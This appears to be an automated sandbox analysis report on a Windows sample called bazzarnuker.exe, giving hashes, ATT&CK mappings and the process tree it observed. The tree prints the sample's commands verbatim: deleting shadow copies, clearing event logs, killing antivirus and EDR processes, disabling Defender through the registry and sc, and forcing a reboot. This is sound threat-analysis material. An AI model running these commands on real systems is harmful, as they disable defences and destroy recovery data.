dcdda25a90c1588237377fc26b1f85840561283f5abe1cfaa580281530b92f1b

Resubmissions

28/06/2026, 07:56

260628-js35rags7p10

28/06/2026, 00:34

260628-aw74faew7s10

Analysis

max time kernel
9s
max time network
22s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 00:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
bazzarnuker.exe
Size 193KB
Sample260628-aw74faew7s
SHA256 dcdda25a90c1588237377fc26b1f85840561283f5abe1cfaa580281530b92f1b
MD5 2e38e0f1ec1d02f101f5ae0b914b35b7
SHA1 7b5e125f83e3f64b121ec6b037579e6fd54e0d5a
SHA512 f0a9574923b6c347dfeac93c38a0f6da801afafd89bab44d16aa05b2d58e80b6152ccd2dec5a2b26269eb13e5893e0ac52ed281f394be117f4b2300bc96d2e09
SSDEEP 6144:1HDY5fuwW9IoSgtbZHycXG2ao6HNcwNZ/kv:1HHw2zEOmay+
TLSH
T1A014121F338FBCB5CD0ECAB3B2C621B5748CB66761AD2B7D6421D4269483190E77CA94
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion execution impact persistence ransomware spyware stealer trojan upx

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
2932	wevtutil.exe
904	wevtutil.exe
2484	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5788	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	bazzarnuker.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4420-0-0x00007FF6E2D30000-0x00007FF6E2DB6000-memory.dmp	upx
behavioral2/memory/4420-7-0x00007FF6E2D30000-0x00007FF6E2DB6000-memory.dmp	upx
behavioral2/memory/3108-2850-0x00007FF6E2D30000-0x00007FF6E2DB6000-memory.dmp	upx

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3416	sc.exe
5440	sc.exe
1680	sc.exe
3856	sc.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4900	vssadmin.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
548	taskkill.exe
1364	taskkill.exe
5688	taskkill.exe
5844	taskkill.exe
1044	taskkill.exe
1532	taskkill.exe
4408	taskkill.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5788	powershell.exe
5788	powershell.exe
4868	wmic.exe
4868	wmic.exe
4868	wmic.exe
4868	wmic.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

description	pid	Process
Token: SeDebugPrivilege	4408	taskkill.exe
Token: SeDebugPrivilege	5788	powershell.exe
Token: SeIncreaseQuotaPrivilege	4868	wmic.exe
Token: SeSecurityPrivilege	4868	wmic.exe
Token: SeTakeOwnershipPrivilege	4868	wmic.exe
Token: SeLoadDriverPrivilege	4868	wmic.exe
Token: SeSystemProfilePrivilege	4868	wmic.exe
Token: SeSystemtimePrivilege	4868	wmic.exe
Token: SeProfSingleProcessPrivilege	4868	wmic.exe
Token: SeIncBasePriorityPrivilege	4868	wmic.exe
Token: SeCreatePagefilePrivilege	4868	wmic.exe
Token: SeBackupPrivilege	4868	wmic.exe
Token: SeRestorePrivilege	4868	wmic.exe
Token: SeShutdownPrivilege	4868	wmic.exe
Token: SeDebugPrivilege	4868	wmic.exe
Token: SeSystemEnvironmentPrivilege	4868	wmic.exe
Token: SeRemoteShutdownPrivilege	4868	wmic.exe
Token: SeUndockPrivilege	4868	wmic.exe
Token: SeManageVolumePrivilege	4868	wmic.exe
Token: 33	4868	wmic.exe
Token: 34	4868	wmic.exe
Token: 35	4868	wmic.exe
Token: 36	4868	wmic.exe
Token: SeSecurityPrivilege	2484	wevtutil.exe
Token: SeBackupPrivilege	2484	wevtutil.exe
Token: SeDebugPrivilege	5688	taskkill.exe
Token: SeDebugPrivilege	548	taskkill.exe
Token: SeSecurityPrivilege	2932	wevtutil.exe
Token: SeBackupPrivilege	2932	wevtutil.exe
Token: SeSecurityPrivilege	904	wevtutil.exe
Token: SeBackupPrivilege	904	wevtutil.exe
Token: SeDebugPrivilege	1532	taskkill.exe
Token: SeDebugPrivilege	5844	taskkill.exe
Token: SeDebugPrivilege	1044	taskkill.exe
Token: SeDebugPrivilege	1364	taskkill.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4420 wrote to memory of 4408	4420	bazzarnuker.exe	90
PID 4420 wrote to memory of 5788	4420	bazzarnuker.exe	91
PID 5788 wrote to memory of 3108	5788	powershell.exe	96
PID 3108 wrote to memory of 548	3108	bazzarnuker.exe	99
PID 3108 wrote to memory of 4900	3108	bazzarnuker.exe	100
PID 3108 wrote to memory of 4868	3108	bazzarnuker.exe	101
PID 3108 wrote to memory of 904	3108	bazzarnuker.exe	104
PID 3108 wrote to memory of 2932	3108	bazzarnuker.exe	106
PID 3108 wrote to memory of 2484	3108	bazzarnuker.exe	107
PID 3108 wrote to memory of 1532	3108	bazzarnuker.exe	108
PID 3108 wrote to memory of 1364	3108	bazzarnuker.exe	109
PID 3108 wrote to memory of 1044	3108	bazzarnuker.exe	110
PID 3108 wrote to memory of 5688	3108	bazzarnuker.exe	111
PID 3108 wrote to memory of 5844	3108	bazzarnuker.exe	112
PID 3108 wrote to memory of 1784	3108	bazzarnuker.exe	113
PID 3108 wrote to memory of 3264	3108	bazzarnuker.exe	114
PID 3108 wrote to memory of 1416	3108	bazzarnuker.exe	116
PID 3108 wrote to memory of 3856	3108	bazzarnuker.exe	117
PID 3108 wrote to memory of 1680	3108	bazzarnuker.exe	118
PID 3108 wrote to memory of 5440	3108	bazzarnuker.exe	119
PID 3108 wrote to memory of 3416	3108	bazzarnuker.exe	120

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe
"C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4420
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im javaw.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe' -ArgumentList '--elevated' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe
    "C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe" --elevated
    3⤵
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of WriteProcessMemory
    PID:3108
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im javaw.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:548
  - - C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:4900
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4868
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:904
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:2932
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:2484
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1532
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1364
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im cb.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1044
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csfalconservice.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5688
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csagent.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5844
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:1784
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:3264
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1416
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:3856
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:1680
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:5440
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:3416
  - - C:\Windows\system32\shutdown.exe
      "shutdown" /r /t 0 /f
      4⤵
      PID:8020

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2344

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a25855 /state1:0x41c64e6d
1⤵
PID:304

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:7864

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 266B
SHA256 4ef4ca047d8f55f64c67f07479d3cb7d8115e8161e2013467ab188cf68b9fdc4
MD5 bc2b98ca3304b73807c7a4405610ba71
SHA1 ff7b11cef63a50084ca681687153eb45eadaac19
SHA512 91c27578fde25588f94d7960c92479bf05cf5d0f6936f04e7061e1b9fd6d4f5c7837da41ce8c32bdbd2e8fe9b130078f5f1c3a1498d04a859e3c0c126d3dffeb
TLSH
T1D5D017A5424380184FA364D6C9471262045AA709EE18C8EA913C20EF7C78E9A2BB7270
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 1KB
SHA256 fd3a2085c0a4fd3635ab8eab0565126d74619bb0660c4c1aeca4a93dd9659612
MD5 c04c91846ddec763bc564a1b4dab2dc2
SHA1 3d2aaf32b6ff3da9be615162ba1989824699a6e3
SHA512 92c3342a24be25bbc75db216f9f392748c22083b7796a1834963dcda2396ee6741b070466940a3ef9c987beff8cf5496c1c39efb0777a230219906fd23d27ff5
TLSH
T1A42124920A534C1A2B6A83DB5753A29E027F4318FA25F0D4FB3019313C0D97966F91B1
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 806B
SHA256 433386de745455f6beb94575b09b2a41c308739e03326d767945d8c2ffff7583
MD5 c0fa0fec34fed3c4ce7d9bec762a5299
SHA1 044b25c221f48f13fe28c5c22d6fbbaa55afe589
SHA512 04f3803c599e8e761fcd156fb09c01a3ed373357fae628e9b45ef7fb3e2d06aa247c30859bf5cfac5e3dda1a14761ee0595947d9f2c0332c3e9c335c8c1305b3
TLSH
T15501F1931A138C291F7F91D79A43126A012F9345FA64D4E8F7386C3A3C1E9B95676270
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3108-2850-0x00007FF6E2D30000-0x00007FF6E2DB6000-memory.dmp

Download

memory/4420-7-0x00007FF6E2D30000-0x00007FF6E2DB6000-memory.dmp

Download

memory/4420-0-0x00007FF6E2D30000-0x00007FF6E2DB6000-memory.dmp

Download

memory/5788-11-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-22-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-16-0x00000245B2EE0000-0x00000245B2F02000-memory.dmp

Download

memory/5788-17-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-18-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-19-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-20-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-13-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-21-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-12-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-26-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-10-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-9-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp

Download

memory/5788-8-0x00007FFAB142F000-0x00007FFAB1430000-memory.dmp

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads